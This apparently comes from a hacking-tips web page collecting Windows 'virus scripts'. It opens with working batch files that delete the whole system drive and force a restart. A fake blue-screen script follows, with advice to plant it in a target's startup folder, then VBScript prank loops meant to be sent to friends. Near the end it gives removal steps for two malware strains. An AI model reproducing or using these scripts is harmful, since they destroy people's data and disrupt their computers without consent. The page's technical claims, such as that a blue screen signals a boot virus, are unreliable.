>Virus Scripts

>1.This Virus Deletes All The Content Of A Drive…

@echo off del %systemdrive%\*.* /f /s /q shutdown -r -f -t 00

Save The Above Code with .bat extension & Run.

2.The Most Simple Virus To Crush The Window

@Echo off Del C:\ *.* y

Save The Above Code with .bat extension & Run.

3.The below Code Will Just Restart Ur PC

@echo off shutdown -r -f -t 00

Save The Above Code with .bat extension & Run.

Note: Won’t work on Vista or Win7 as you need to bypass UAC.

~

Batch Code to show BLUE SCREEN OF DEATH

Batch Code to show BLUE SCREEN OF DEATH

When your windows computer shows the BLUE SCREEN (BSOD) it means that a boot virus has infected your computer or Internal working of computer is at risk, this also comes when you are running multiple RAM’s and of different frequencies.

Now here is a code for Virus that shows the “Blue Screen of Death” when you run it.

Copy and paste the following code in notepad & save the file as “bsod.bat”. Then run it.

@echo off cd / cls color 1f echo A problem has been detected and Windows has been shut down to prevent damage echo to your computer. echo. echo The problem seems to be caused by the following file: SPCMDCON.SYS echo. echo PAGE_FAULT_IN_NONPAGED_AREA echo. echo If this is the first time you’ve seen this stop error screen, echo restart your computer. If this screen appears again, follow echo these steps: echo. echo Check to make sure any new hardware or software is properly installed. echo If this is a new installation, ask your hardware or software manufacturer echo for any Windows updates you might need. echo. echo If problems continue, disable or remove any newly installed hardware echo or software. Disable BIOS memory options such as caching or shadowing. echo If you need to use Safe Mode to remove or disable components, restart echo your computer, press F8 to select Advanced Startup Options, and then echo select Safe Mode. echo. echo Technical information: echo. echo *** STOP: 0x00000050 (0xFD3094C2,0x00000001,0xFBFE7617,0x0000 0000) echo. echo. echo *** SPCMDCON.SYS – Address FBFE7617 base at FBFE5000, DateStamp 3d6dd67c pause :nul cls echo Downloading viruses . . . ping localhost -n 5 :nul dir /s pause :nul

More: Convert bat to exe and paste the file in startup folder of target system.

~

Enter Blast

Frustrate your friend by making this VBScript hit Enter simultaneously:

Set wshShell = wscript.CreateObject(“WScript.Shell”) do wscript.sleep 100 wshshell.sendkeys “~(enter)” loop

Save it as “CKGB.VBS” and send it.

~

Note Blast

Open Notepad continually in your friend’s computer :

@ECHO off :top START %SystemRoot%\system32\notepad.exe GOTO top

Save it as “KGB.BAT” and send it.

~

Toggle Caps

Toggle your friend’s Caps Lock button simultaneously :

Set wshShell =wscript.CreateObject(“WScript.Shell”) do wscript.sleep 100 wshshell.sendkeys “{CAPSLOCK}” loop

Save it as “KGB.VBS” & send it.

~

Pop Drive

Continually pop out your friend’s CD Drive. If she has more than one, it pops out all of them!

Set oWMP = CreateObject(“WMPlayer.OCX.7”) Set colCDROMs = oWMP.cdromCollection do if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count – 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count – 1 colCDROMs.Item(i).Eject Next End If wscript.sleep 5000 loop

Save it as “KGB.VBS” and send it.

~

Virus Script

“You are a fool” Virus script

Hack your friend’s keyboard and make him type “You are a fool” simultaneously:

Set wshShell = wscript.CreateObject(“WScript.Shell”) do wscript.sleep 100 wshshell.sendkeys “You are a fool.” loop

Type the above code in a Notepad.

Save it as “Anything.VBS” and send it.

~

MediaControl.exe Virus

MediaControl.exe Virus

A new malware virus MediaControl.exe found in some parts of central asia last month.

It changes the extension of all the media files like AVI (.avi), Music (mp3, …) to .jpg.

This just changes the file extension & not the file format. To play the media file, you need to re-change the file extension to the previous type, or open the file using the media player. Malware name is MediaControl.exe.
It internally creates a folder by name “mcont” in AppData of OS drive. AutoRun inside mcont also puts the MediaControl.exe to the winwos start up of msconfig.

How To Remove MediaControl.exe ?:

1. Kill the process MediaControl.exe which is running.
* Press Ctrl + Shift + Esc to open the windows taskmanager.
* Click on the Processes tab
* Search the MediaControl.exe, Click on End Process button at Bottom right.

2. Remove MediaControl link from Windows Start up
* Click on Windows Start Button, and on the Run option at the right side of the window,
* Type msconfig in run.
This will open the System Configuration Utility.
* Click on Start Up tab.
* Search for MediaControl, Untick the link. Click Apply -> OK, Click on Exit Without Restart on the dialog opened.

3. Remove the AutoRun from Computer:

Option 1:
Using Command prompt inputs.
* Click on Windows Start Button, and on the Run option at the right side of the window,
* Type cmd, to open the command prompt window.
* Type the following command lines one by one.

cd C:\Documents and Settings\All Users\Start Menu\Programs\Startup
attrib -s -h -r /S /D *
del *
y
cd C:\WINDOWS\system32\mcont\AutoRun
attrib -s -h -r /S /D *
del *
y
exit

Option 2
Using Safemode booting.
* Restart the Machine.
* Click F8 on Booting, this wil open the machine in safe mode for you.
* Browse for the folder mcont inside C:\Windows\System32\
* Delete the folder mcont.
* Restart the computer in the normal mode.
* Thats All.

Once you remove the mallware, your computer is free of mallware but, you are left with thousands of your media files changed its exentsion to .jpg. It is not an easy job to change the file extension one by one. You can use an Auto-Renamer programs.

For AutoRenamer Download links request 4 it in Comments.

~

"amvo.exe" Virus Removal

Amvo virus attacks Yahoo! messenger.

It consists of 3 files,
windows\system32\amvo.exe
windows\system32\amvo1.dll
windows\system32\amvo0.dll

Just delete these 3 files and the virus is gone, and donot forget to remove the startup entry for amvo.exe, using “CC Cleaner”.

1. Open Task Manager
2. End Task Explorer.exe
3. Select Run from File Menu
4. Type cmd (Press Enter)
5. In Command Prompt Type:

cd %windir%\system32

6. Type:

attrib -s -h -r amvo*.*

7. Type

del amvo*.*

8. Remove startup entries and virus is gone.

~